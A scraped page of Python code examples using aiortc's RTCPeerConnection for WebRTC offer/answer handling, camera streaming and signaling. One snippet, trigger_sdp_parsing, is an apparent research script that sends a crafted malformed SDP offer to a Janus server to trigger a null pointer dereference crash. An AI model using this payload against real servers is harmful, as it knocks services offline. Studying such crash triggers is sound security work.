Esempio n. 1
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("datachannel")
    def on_datachannel(channel):
        @channel.on("message")
        def on_message(message):
            channel.send("pong")

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        print("ICE connection state is %s" % pc.iceConnectionState)
        if pc.iceConnectionState == "failed":
            await pc.close()

    cameravideo = VideoSender()
    pc.addTrack(cameravideo)

    # handle offer
    await pc.setRemoteDescription(offer)

    # send answer
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps(
            {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type}
        ),
    )
Esempio n. 2
0
    def __init__(self, defaultChannelOrdered=True, loop=None):
        super().__init__(
            directPutSubscriptionType=asyncio.Queue,
            defaultSubscriptionType=asyncio.Queue,
            logger=self._log,
        )
        self._loop = loop
        if self._loop is None:
            self._loop = asyncio.get_event_loop()

        self._dataChannels = {}

        # These allow us to easily signal when the given events happen
        self._dataChannelSubscriber = SubscriptionProducer(
            logger=self._log.getChild("dataChannelSubscriber")
        )

        self._rtc = RTCPeerConnection()
        self._rtc.on("datachannel", self._onDatachannel)
        # self._rtc.on("iceconnectionstatechange", self._onIceConnectionStateChange)
        self._rtc.on("track", self._onTrack)

        self._hasRemoteDescription = False
        self._defaultChannelOrdered = defaultChannelOrdered

        self._videoHandler = ConnectionVideoHandler(self._rtc)
        self._audioHandler = ConnectionAudioHandler(self._rtc)
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pc_id = "PeerConnection(%s)" % uuid.uuid4()
    pcs.add(pc)

    def log_info(msg, *args):
        logger.info(pc_id + " " + msg, *args)

    log_info("Created for %s", request.remote)

    @pc.on("datachannel")
    def on_datachannel(channel):
        @channel.on("message")
        def on_message(message):
            if isinstance(message, str) and message.startswith("ping"):
                channel.send("pong" + message[4:])

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        log_info("ICE connection state is %s", pc.iceConnectionState)
        if pc.iceConnectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    @pc.on("track")
    def on_track(track):
        log_info("Track %s received", track.kind)

        if track.kind == "audio":
            # pc.addTrack(player.audio)
            # recorder.addTrack(track)
            pass
        elif track.kind == "video":
            local_video = VideoTransformTrack(track)
            pc.addTrack(local_video)

        @track.on("ended")
        async def on_ended():
            log_info("Track %s ended", track.kind)
            # await recorder.stop()

    # handle offer
    await pc.setRemoteDescription(offer)
    # await recorder.start()

    # send answer
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps({
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }),
    )
Esempio n. 4
0
def aio_loop(args):
    pc = RTCPeerConnection()

    if args.role == "caller":
        coro = run_caller_rtc(pc)
    else:
        coro = run_callee_rtc(pc)

    asyncio.set_event_loop_policy(aiogevent.EventLoopPolicy())
    loop = asyncio.get_event_loop()
    try:
        asyncio.ensure_future(coro)
        loop.run_forever()
    except KeyboardInterrupt:
        pass
    finally:
        loop.run_until_complete(pc.close())
Esempio n. 5
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pc._consumers = []
    pc._datachannel = None
    pcs.append(pc)

    # prepare local media
    local_audio = AudioFileTrack(path=os.path.join(ROOT, "demo-instruct.wav"))
    # local_video = VideoTransformTrack(transform=params["video_transform"])

    @pc.on("datachannel")
    def on_datachannel(channel):
        pc._datachannel = channel

        @channel.on("message")
        def on_message(message):
            channel.send("pong")

    @pc.on("track")
    def on_track(track):
        print("RECEIVE TRACK", track)
        if track.kind == "audio":
            # pc.addTrack(local_audio)
            pc._consumers.append(
                asyncio.ensure_future(consume_audio(track, pc)))
        elif track.kind == "video":
            # pc.addTrack(local_video)
            # pc._consumers.append(
            #     asyncio.ensure_future(consume_video(track, local_video))
            # )
            pass

    await pc.setRemoteDescription(offer)
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps({
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }),
    )
Esempio n. 6
0
    async def connect(self, host, port, turn=None):
        ice_servers = [RTCIceServer('stun:stun.l.google.com:19302')]
        if turn:
            ice_servers.append(turn)
        config = RTCConfiguration(ice_servers)
        self.pc = RTCPeerConnection(config)

        if not self.__video:
            self.__video = await self.__get_tracks()
        self.pc.addTrack(MediaRelay().subscribe(self.__video))

        offer = await self.pc.createOffer()
        await self.pc.setLocalDescription(offer)

        self.signaling = WebSocketClient(host, port)

        async def send_offer():
            logger.debug(f"Ice Gathering State: {self.pc.iceGatheringState}")
            if self.pc.iceGatheringState == 'complete':
                logger.debug("Offer sent")
                await self.signaling.send_data({
                    "sdp":
                    self.pc.localDescription.sdp,
                    "type":
                    self.pc.localDescription.type
                })
            else:
                self.pc.once("icegatheringstatechange", send_offer)

        @self.signaling.on_connected
        async def on_connected(_):
            await send_offer()

        @self.signaling.on_message
        async def on_message(message):
            logger.debug(f"{message.get('type')} received")
            if message.get("type") == "answer":
                answer = RTCSessionDescription(sdp=message["sdp"],
                                               type=message["type"])
                await self.pc.setRemoteDescription(answer)

        @self.pc.on("connectionstatechange")
        async def on_connectionstatechange():
            if self.pc.connectionState == "failed":
                await self.pc.close()
            logger.info(f"Connection state: {self.pc.connectionState}")
Esempio n. 7
0
    def run(self):
        signaling = CopyAndPasteSignaling()
        pc = RTCPeerConnection()

        if self._conn_type == WebRTCConnection.OFFER:
            func = self._set_offer
        else:
            func = self._run_answer

        try:
            asyncio.run(func(pc, signaling))
        except KeyboardInterrupt:
            pass
        finally:
            loop = asyncio.get_event_loop()
            loop.run_until_complete(pc.close())
            loop.run_until_complete(signaling.close())
Esempio n. 8
0
def create_pc():
    pc = RTCPeerConnection()

    @pc.on('datachannel')
    def on_datachannel(channel):
        channel_log(channel, '-', 'created by remote party')

    return pc
Esempio n. 9
0
async def establish(sid, environ):
    #create a webrtc connection
    WebRTCConnections[sid] = RTCPeerConnection()
    sdpOffer = WebRTCConnections[sid].createOffer()
    emit("offer",
         sdpOffer,
         namespace='/webrtc',
         callback=lambda: WebRTCConnections[sid].setLocalDescription(sdpOffer))
Esempio n. 10
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params['sdp'], type=params['type'])

    pc = RTCPeerConnection()
    pcs.add(pc)

    # prepare local media
    player = MediaPlayer(os.path.join(ROOT, 'demo-instruct.wav'))
    if args.write_audio:
        recorder = MediaRecorder(args.write_audio)
    else:
        recorder = MediaBlackhole()

    @pc.on('datachannel')
    def on_datachannel(channel):
        @channel.on('message')
        def on_message(message):
            if isinstance(message, str) and message.startswith('ping'):
                channel.send('pong' + message[4:])

    @pc.on('iceconnectionstatechange')
    async def on_iceconnectionstatechange():
        print('ICE connection state is %s' % pc.iceConnectionState)
        if pc.iceConnectionState == 'failed':
            await pc.close()
            pcs.discard(pc)

    @pc.on('track')
    def on_track(track):
        print('Track %s received' % track.kind)

        if track.kind == 'audio':
            pc.addTrack(player.audio)
            recorder.addTrack(track)
        elif track.kind == 'video':
            local_video = VideoTransformTrack(
                track, transform=params['video_transform'])
            pc.addTrack(local_video)

        @track.on('ended')
        async def on_ended():
            print('Track %s ended' % track.kind)
            await recorder.stop()

    # handle offer
    await pc.setRemoteDescription(offer)
    await recorder.start()

    # send answer
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(content_type='application/json',
                        text=json.dumps({
                            'sdp': pc.localDescription.sdp,
                            'type': pc.localDescription.type
                        }))
Esempio n. 11
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("connectionstatechange")
    async def on_connectionstatechange():
        print("Connection state is %s" % pc.connectionState)
        if pc.connectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    # open media source
    audio, video = create_local_tracks(args.play_from)

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        if t.kind == "audio" and audio:
            pc.addTrack(audio)
        elif t.kind == "video" and video:
            pc.addTrack(video)

    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps(
            {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type}
        ),
    )
Esempio n. 12
0
async def offer(params: Offer):
    offer = RTCSessionDescription(sdp=params.sdp, type=params.type)

    pc = RTCPeerConnection()
    pcs.add(pc)
    recorder = MediaBlackhole()

    @pc.on("connectionstatechange")
    async def on_connectionstatechange():
        print("Connection state is %s" % pc.connectionState)
        if pc.connectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    # open media source
    audio, video = create_local_tracks()

    # handle offer
    await pc.setRemoteDescription(offer)
    await recorder.start()

    # send answer
    answer = await pc.createAnswer()

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        if t.kind == "audio" and audio:
            pc.addTrack(audio)
        elif t.kind == "video" and video:
            pc.addTrack(video)

    await pc.setLocalDescription(answer)

    return {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type}
Esempio n. 13
0
async def offer(request):
    params = await request.json()
    print(params["sdp"])
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        print("ICE connection state is %s" % pc.iceConnectionState)
        if pc.iceConnectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        pc.addTrack(VideoImageTrack())

    answer = await pc.createAnswer()

    await pc.setLocalDescription(answer)

    # print(answer.sdp)
    # sdp = ''.join(answer.sdp).split('\n')
    # for i in range(len(sdp)):
    #     line = sdp[i]
    #     if line.startswith("m="):
    #         words = line.split(' ')
    #         length = len(words) - 1
    #         words[length] = words[length].replace('\r', '')
    #         words[length], words[length-1] = words[length-1], words[length]
    #         line = ' '.join(words)
    # print(sdp, sep='\n')
    # answer.sdp = '\n'.join(sdp)

    #print('\n'.join(sdp))

    return web.Response(
        content_type="application/json",
        text=json.dumps({
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }),
    )
Esempio n. 14
0
    async def Negotiate(self, request, context):
        message = request
        sdp = message.sdp
        type_ = message.type

        offer = RTCSessionDescription(sdp=sdp, type=type_)

        pc = RTCPeerConnection()
        self.pcs.add(pc)

        @pc.on("iceconnectionstatechange")
        async def on_iceconnectionstatechange():
            print("ICE connection state is %s" % pc.iceConnectionState)
            if pc.iceConnectionState == "failed":
                await pc.close()
                self.pcs.discard(pc)

        options = {"framerate": "30", "video_size": "640x480"}
        player = MediaPlayer("/dev/video0", format="v4l2", options=options)

        await pc.setRemoteDescription(offer)
        for t in pc.getTransceivers():
            if t.kind == "audio" and player.audio:
                pc.addTrack(player.audio)
            elif t.kind == "video" and player.video:
                pc.addTrack(player.video)

        answer = await pc.createAnswer()
        await pc.setLocalDescription(answer)
        response = webrtc_pusher_pb2_pb2.SDP(sdp=pc.localDescription.sdp,
                                             type=pc.localDescription.type)
        return response
Esempio n. 15
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        if pc.iceConnectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    player = DualFishEyeToEquirectangularStreamer(args.camera_id)

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        if t.kind == "audio" and player.audio:
            pc.addTrack(player.audio)
        elif t.kind == "video" and player.video:
            pc.addTrack(player)  #player.video

    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps({
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }),
    )
Esempio n. 16
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(
        sdp=params['sdp'],
        type=params['type'])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on('iceconnectionstatechange')
    async def on_iceconnectionstatechange():
        print('ICE connection state is %s' % pc.iceConnectionState)
        if pc.iceConnectionState == 'failed':
            await pc.close()
            pcs.discard(pc)

    player = MediaPlayer('/dev/video0', options={'video_size': 'vga'})

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        if t.kind == 'audio' and player.audio:
            pc.addTrack(player.audio)
        elif t.kind == 'video' and player.video:
            pc.addTrack(player.video)

    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type='application/json',
        text=json.dumps({
            'sdp': pc.localDescription.sdp,
            'type': pc.localDescription.type
        }))
Esempio n. 17
0
def create_pc():                                                #
    pc = RTCPeerConnection()                                    #

    @pc.on('datachannel')                                       #
    def on_datachannel(channel):                                #
        channel_log(channel, '-', 'created by remote party')    #
        channel_watch(channel)                                  #

    return pc                                                   #
 async def create_peer_connection(self, peerid):
     if peerid in self.peers:
         raise Exception("Peer already exists")
     else:
         self.peers[peerid] = {
             'pc': RTCPeerConnection(),
             'event': asyncio.Event()
         }
         return True
    def run(self):
        self.signaling = CopyAndPasteSignaling()
        self.pc = RTCPeerConnection()

        if self._conn_type == WebRTCConnection.OFFER:
            func = self._set_offer
        else:
            func = self._run_answer

        self.loop = asyncio.new_event_loop()
        try:
            self.loop.run_until_complete(func(self.pc, self.signaling))
        except Exception:
            self.loop.run_until_complete(self.pc.close())

            # Stop loop:
            self.loop.run_until_complete(self.loop.shutdown_asyncgens())
            self.loop.close()
Esempio n. 20
0
        async def process_offer(params):
            if params['camera_id'] != self.camera_id:
                return
            print('[rtc]: received offer...')
            # params = await request.json()
            offer = RTCSessionDescription(sdp=params['offer']["sdp"],
                                          type=params['offer']["type"])

            pc = RTCPeerConnection()
            self.pc[params['camera_id']] = pc
            self.pcs.add(self.pc[params['camera_id']])

            @pc.on("iceconnectionstatechange")
            async def on_iceconnectionstatechange():
                print("[rtc]: ICE connection state is %s" %
                      pc.iceConnectionState)
                if pc.iceConnectionState == "failed":
                    await pc.close()
                    self.pcs.discard(pc)
                    await self.socket.emit(event='ice-connection-failed',
                                           data={
                                               'camera_id':
                                               params['camera_id'],
                                               'token': params['token']
                                           })

            # open media source
            print(f'[rtc]: fetching stream {self.camera_address}')
            # player = None
            # if self.camera_address == '://0':
            #     if platform.system() == 'Darwin':
            #         # Open webcam on OS X.
            #         player = MediaPlayer('default:none', format='avfoundation', options={'framerate': '30'})
            #     else:
            #         player = MediaPlayer('/dev/video0', format='v4l2')

            # else:
            player = self.camera.player

            await pc.setRemoteDescription(offer)
            for t in pc.getTransceivers():
                if t.kind == "audio" and player.audio:
                    pc.addTrack(player.audio)
                elif t.kind == "video" and player.video:
                    pc.addTrack(player.video)

            answer = await pc.createAnswer()
            await pc.setLocalDescription(answer)

            print('[rtc]: sending answer...')
            await self.socket.emit(
                'answer', {
                    'camera_id': params['camera_id'],
                    'token': params['token'],
                    'answer': {
                        "sdp": pc.localDescription.sdp,
                        "type": pc.localDescription.type
                    }
                })
Esempio n. 21
0
    def run(self):
        """ Main thread method used to set up the connection and manage all the process."""
        self.signaling = CopyAndPasteSignaling()
        self.pc = RTCPeerConnection()

        if self._conn_type == WebRTCConnection.OFFER:
            func = self._set_offer
        else:
            func = self._run_answer

        self.loop = asyncio.new_event_loop()
        try:
            self.loop.run_until_complete(func(self.pc, self.signaling))
        except Exception:
            self.loop.run_until_complete(self.pc.close())

            # Stop loop:
            self.loop.run_until_complete(self.loop.shutdown_asyncgens())
            self.loop.close()
    async def trigger_sdp_parsing(self,
                                  name='konata',
                                  plugin_name='janus.plugin.videocall'):
        session = JanusSession(self.url, name)
        await session.create()
        self.log_success('session created')

        plugin = await session.attach(plugin_name)
        self.log_success('attached to {} plugin'.format(plugin_name))

        pc = RTCPeerConnection()
        pc.addTrack(VideoStreamTrack())
        await pc.setLocalDescription(await pc.createOffer())

        self.log_info(
            'trying to trigger null pointer dereference at janus_sdp_preparse')

        sdp = '\n'.join([
            'v=-1', 'o=aaaa 0 0 IN IP6 cccc', 's=aaaa', 't=1 2',
            'c=IN IP4 dddd', 'm=audio 1 ffff 0', 'a=mid'
        ])
        self.log_info('malicious sdp is crafted')

        try:
            self.log_info('sending a malicious offer...')
            response = await plugin.send({
                "body": {},
                "jsep": {
                    "sdp": sdp,
                    "type": 'offer'
                }
            })
        except Exception:
            self.log_success('null dereference is triggered')
            sys.exit(0)

        answer = await session.get_answer()
        log.info('got answer: {}'.format(answer))

        await pc.setRemoteDescription(
            RTCSessionDescription(sdp=answer["sdp"], type=answer["type"]))

        await asyncio.sleep(10)
Esempio n. 23
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        print("ICE connection state is %s" % pc.iceConnectionState)
        if pc.iceConnectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    # # open media source
    # if args.play_from:
        # player = MediaPlayer(args.play_from)
    # else:
        # options = {"framerate": "30", "video_size": "640x480"}
        # if platform.system() == "Darwin":
            # player = MediaPlayer("default:none", format="avfoundation", options=options)
        # else:
            # player = MediaPlayer("/dev/video0", format="v4l2", options=options)

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        # if t.kind == "audio" and player.audio:
            # pc.addTrack(player.audio)
        # elif t.kind == "video" and player.video:
            # #pc.addTrack(player.video)
            # pc.addTrack(OutputVideoStreamTrack())
        if t.kind == "video":
            pc.addTrack(OutputVideoStreamTrack())

    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(
        content_type="application/json",
        text=json.dumps(
            {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type}
        ),
    )
 def test_setRemoteDescription_unexpected_offer(self):
     pc = RTCPeerConnection()
     pc.addTrack(AudioStreamTrack())
     offer = run(pc.createOffer())
     run(pc.setLocalDescription(offer))
     with self.assertRaises(InvalidStateError) as cm:
         run(pc.setRemoteDescription(RTCSessionDescription(sdp='', type='offer')))
     self.assertEqual(str(cm.exception),
                      'Cannot handle offer in signaling state "have-local-offer"')
Esempio n. 25
0
    def __init__(
        self,
        mode: WebRtcMode,
        player_factory: Optional[MediaPlayerFactory] = None,
        video_transformer_factory: Optional[VideoTransformerFactory] = None,
        async_transform: bool = True,
    ) -> None:
        self._thread = None
        self._loop = None
        self.pc = RTCPeerConnection()
        self._answer_queue = queue.Queue()
        self._stop_requested = False

        self.mode = mode
        self.player_factory = player_factory
        self.video_transformer_factory = video_transformer_factory
        self.async_transform = async_transform

        self._video_transformer = None
        self._video_receiver = None
Esempio n. 26
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params['sdp'], type=params['type'])

    pc = RTCPeerConnection()
    pcs.add(pc)

    # prepare local media
    player = MediaPlayer(os.path.join(ROOT, 'demo-instruct.wav'))
    if args.write_audio:
        recorder = MediaRecorder(args.write_audio)
    else:
        recorder = MediaBlackhole()

    @pc.on('datachannel')
    async def on_datachannel(channel):
        closed = asyncio.Event()
        queue = asyncio.Queue()

        print("Channel opened")

        @channel.on('close')
        def on_close():
            print("Channel closed")
            closed.set()

        @channel.on('message')
        async def on_message(message):
            await queue.put(message)
            #channel.send(message)
            print(message)

        await cloud_browser(channel, closed, queue)

    @pc.on('iceconnectionstatechange')
    async def on_iceconnectionstatechange():
        print('ICE connection state is %s' % pc.iceConnectionState)
        if pc.iceConnectionState == 'failed':
            await pc.close()
            pcs.discard(pc)

    # handle offer
    await pc.setRemoteDescription(offer)
    await recorder.start()

    # send answer
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    return web.Response(content_type='application/json',
                        text=json.dumps({
                            'sdp': pc.localDescription.sdp,
                            'type': pc.localDescription.type
                        }))
Esempio n. 27
0
    def __init__(self, config: Config, track: ScreenCaptureTrack,
                 input_handler: InputHandler):
        self._config = config

        peer_connection_config = config.get_peer_connection_config()
        ice_servers: List[RTCIceServer] = [
            RTCIceServer(ice.url, ice.username, ice.credential)
            for ice in peer_connection_config.ice_servers
        ]
        self._pc = RTCPeerConnection(RTCConfiguration(iceServers=ice_servers))
        self._track = track
        self._input_handler = input_handler

        self._pc.addTrack(self._track)
        self._control_channel: RTCDataChannel = self._pc.createDataChannel(
            "control")
        self._control_channel.on("message", self._on_message)

        self._lock = asyncio.Lock()
        self._connection_task: Optional[asyncio.Task[None]] = None
Esempio n. 28
0
def start_peer(room=None, signaling_folder=None, play_from=None, record_to=None, 
               frame_transformer=None, verbose=False, ice_servers=None, multiprocess=False):
    
    if verbose:
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO)

    if ice_servers:
        logger.debug('Using ICE servers:', ice_servers)
        servers = [RTCIceServer(*server) if type(server) == tuple else RTCIceServer(server) for server in ice_servers]
        pc = RTCPeerConnection(
            configuration=RTCConfiguration(servers))
    else:
        pc = RTCPeerConnection()
    
    # room = str(room)
    if signaling_folder:
        signaling = ColabSignaling(signaling_folder=signaling_folder, room=room)
    else:
        signaling = ColabApprtcSignaling(room=room)
        
    # create media source
    if play_from:
        player = MediaPlayer(play_from)
    else:
        player = None

    # create media sink
    if record_to:
        recorder = MediaRecorder(record_to)
    else:
        recorder = MediaBlackhole()
        
    if multiprocess:
        p = Process(target=run_process, args=(pc, player, recorder, signaling, frame_transformer))
        p.start()
        return signaling.room, p
    else:
        run_process(pc, player, recorder, signaling, frame_transformer)
        return signaling.room, None
Esempio n. 29
0
async def offer(request):
    global camera
    params = await request.json()
    offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"])

    video_track = PiH264StreamTrack(RATE)
    camera = picamera.PiCamera()
    camera.resolution = (640, 480)
    camera.framerate = RATE
    camera.start_recording(
        video_track,
        format="h264",
        profile="constrained",
        inline_headers=True,
        sei=False,
    )
    pc = RTCPeerConnection()
    pcs.add(pc)

    @pc.on("iceconnectionstatechange")
    async def on_iceconnectionstatechange():
        print("ICE connection state is %s" % pc.iceConnectionState)
        if pc.iceConnectionState == "failed":
            await pc.close()
            pcs.discard(pc)

    await pc.setRemoteDescription(offer)
    for t in pc.getTransceivers():
        if t.kind == "video":
            t.setCodecPreferences(preferences)
            pc.addTrack(video_track)
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)
    print(answer)
    return web.Response(
        content_type="application/json",
        text=json.dumps({
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }),
    )
Esempio n. 30
0
    async def viewer_need_offer(data):
        pcs = set()

        viewer_id = data["viewer_id"]
        print("Server ask for offer to viewer " + viewer_id)

        remote_description = data["offer"]
        sdp = remote_description["sdp"]
        type_ = remote_description["type"]

        offer = RTCSessionDescription(sdp=sdp, type=type_)
        pc = RTCPeerConnection()
        pcs.add(pc)

        @pc.on("iceconnectionstatechange")
        async def on_iceconnectionstatechange():
            print("ICE connection state is %s" % pc.iceConnectionState)
            if pc.iceConnectionState == "failed":
                await pc.close()
                pcs.discard(pc)

        cv2_track = CV2Track()

        await pc.setRemoteDescription(offer)

        for t in pc.getTransceivers():
            if t.kind == "video":
                pc.addTrack(cv2_track)
                print("cv2_tracker added...")

        answer = await pc.createAnswer()
        await pc.setLocalDescription(answer)

        offer = {
            "sdp": pc.localDescription.sdp,
            "type": pc.localDescription.type
        }
        await sio.emit("offer_to_viewer", {
            "viewer_id": viewer_id,
            "offer": offer
        })
Esempio n. 31
0
async def get_RTCPeer_payload():
    pc = RTCPeerConnection(
        RTCConfiguration(
            iceServers=[RTCIceServer("stun:stun.l.google.com:19302")]))

    @pc.on("track")
    async def on_track(track):
        logger.debug("Receiving %s" % track.kind)
        if track.kind == "video":
            pc.addTrack(VideoTransformTrack(track))

        @track.on("ended")
        async def on_ended():
            logger.info("Track %s ended", track.kind)

    pc.addTransceiver("video", direction="recvonly")
    offer = await pc.createOffer()
    await pc.setLocalDescription(offer)
    new_offer = pc.localDescription
    payload = {"sdp": new_offer.sdp, "type": new_offer.type}
    return (pc, json.dumps(payload, separators=(",", ":")))
Esempio n. 32
0
async def offer(request):
    params = await request.json()
    offer = RTCSessionDescription(sdp=params['sdp'], type=params['type'])

    pc = RTCPeerConnection()
    pcs.append(pc)

    player = MediaPlayer('/dev/video0', {'video_size': 'vga'})
    pc.addTrack(player.video)

    await pc.setRemoteDescription(offer)
    answer = await pc.createAnswer()
    await pc.setLocalDescription(answer)

    player.start()

    return web.Response(content_type='application/json',
                        text=json.dumps({
                            'sdp': pc.localDescription.sdp,
                            'type': pc.localDescription.type
                        }))
Esempio n. 33
0
class RTCConnection(SubscriptionProducerConsumer):
    _log = logging.getLogger("rtcbot.RTCConnection")

    def __init__(self, defaultChannelOrdered=True, loop=None):
        super().__init__(
            directPutSubscriptionType=asyncio.Queue,
            defaultSubscriptionType=asyncio.Queue,
            logger=self._log,
        )
        self._loop = loop
        if self._loop is None:
            self._loop = asyncio.get_event_loop()

        self._dataChannels = {}

        # These allow us to easily signal when the given events happen
        self._dataChannelSubscriber = SubscriptionProducer(
            logger=self._log.getChild("dataChannelSubscriber")
        )

        self._rtc = RTCPeerConnection()
        self._rtc.on("datachannel", self._onDatachannel)
        # self._rtc.on("iceconnectionstatechange", self._onIceConnectionStateChange)
        self._rtc.on("track", self._onTrack)

        self._hasRemoteDescription = False
        self._defaultChannelOrdered = defaultChannelOrdered

        self._videoHandler = ConnectionVideoHandler(self._rtc)
        self._audioHandler = ConnectionAudioHandler(self._rtc)

    async def getLocalDescription(self, description=None):
        """
        Gets the description to send on. Creates an initial description
        if no remote description was passed, and creates a response if
        a remote was given,
        """
        if self._hasRemoteDescription or description is not None:
            # This means that we received an offer - either the remote description
            # was already set, or we passed in a description. In either case,
            # instead of initializing a new connection, we prepare a response
            if not self._hasRemoteDescription:
                await self.setRemoteDescription(description)
            self._log.debug("Creating response to connection offer")
            try:
                answer = await self._rtc.createAnswer()
            except AttributeError:
                self._log.exception(
                    "\n>>> Looks like the offer didn't include the necessary info to set up audio/video. See RTCConnection.video.offerToReceive(). <<<\n\n"
                )
                raise
            await self._rtc.setLocalDescription(answer)
            return {
                "sdp": self._rtc.localDescription.sdp,
                "type": self._rtc.localDescription.type,
            }

        # There was no remote description, which means that we are initializing the
        # connection.

        # Before starting init, we create a default data channel for the connection
        self._log.debug("Setting up default data channel")
        channel = DataChannel(
            self._rtc.createDataChannel("default", ordered=self._defaultChannelOrdered)
        )
        # Subscribe the default channel directly to our own inputs and outputs.
        # We have it listen to our own self._get, and write to our self._put_nowait
        channel.putSubscription(NoClosedSubscription(self._get))
        channel.subscribe(self._put_nowait)
        self._dataChannels[channel.name] = channel

        # Make sure we offer to receive video and audio if if isn't set up yet
        if len(self.video._senders) == 0 and self.video._offerToReceive:
            self._log.debug("Offering to receive video")
            self._rtc.addTransceiver("video", "recvonly")
        if len(self.audio._senders) == 0 and self.audio._offerToReceive:
            self._log.debug("Offering to receive audio")
            self._rtc.addTransceiver("audio", "recvonly")

        self._log.debug("Creating new connection offer")
        offer = await self._rtc.createOffer()
        await self._rtc.setLocalDescription(offer)
        return {
            "sdp": self._rtc.localDescription.sdp,
            "type": self._rtc.localDescription.type,
        }

    async def setRemoteDescription(self, description):
        self._log.debug("Setting remote connection description")
        await self._rtc.setRemoteDescription(RTCSessionDescription(**description))
        self._hasRemoteDescription = True

    def _onDatachannel(self, channel):
        """
        When a data channel comes in, adds it to the data channels, and sets up its messaging and stuff.

        """
        channel = DataChannel(channel)
        self._log.debug("Got channel: %s", channel.name)
        if channel.name == "default":
            # Subscribe the default channel directly to our own inputs and outputs.
            # We have it listen to our own self._get, and write to our self._put_nowait
            channel.putSubscription(NoClosedSubscription(self._get))
            channel.subscribe(self._put_nowait)

            # Set the default channel
            self._defaultChannel = channel

        else:
            self._dataChannelSubscriber.put_nowait(channel)
        self._dataChannels[channel.name] = channel

    def _onTrack(self, track):
        self._log.debug("Received %s track from connection", track.kind)
        if track.kind == "audio":
            self._audioHandler._onTrack(track)
        elif track.kind == "video":
            self._videoHandler._onTrack(track)

    def onDataChannel(self, callback=None):
        """
        Acts as a subscriber...
        """
        return self._dataChannelSubscriber.subscribe(callback)

    def addDataChannel(self, name, ordered=True):
        """
        Adds a data channel to the connection. Note that the RTCConnection adds a "default" channel
        automatically, which you can subscribe to directly.
        """
        self._log.debug("Adding data channel to connection")

        if name in self._dataChannels or name == "default":
            raise KeyError("Data channel %s already exists", name)

        dc = DataChannel(self._rtc.createDataChannel(name, ordered=ordered))
        self._dataChannels[name] = dc
        return dc

    def getDataChannel(self, name):
        """
        Returns the data channel with the given name. Please note that the "default" channel is considered special,
        and is not returned.
        """
        if name == "default":
            raise KeyError(
                "Default channel not available for 'get'. Use the RTCConnection's subscribe and put_nowait methods for access to it."
            )
        return self._dataChannels[name]

    @property
    def video(self):
        """
        Convenience function - you can subscribe to it to get video frames once they show up
        """
        return self._videoHandler

    @property
    def audio(self):
        """
        Convenience function - you can subscribe to it to get video frames once they show up
        """
        return self._audioHandler

    def close(self):
        """
        If the loop is running, returns a future that will close the connection. Otherwise, runs
        the loop temporarily to complete closing.
        """
        super().close()
        # And closes all tracks
        self.video.close()
        self.audio.close()

        for dc in self._dataChannels:
            self._dataChannels[dc].close()

        self._dataChannelSubscriber.close()

        if self._loop.is_running():
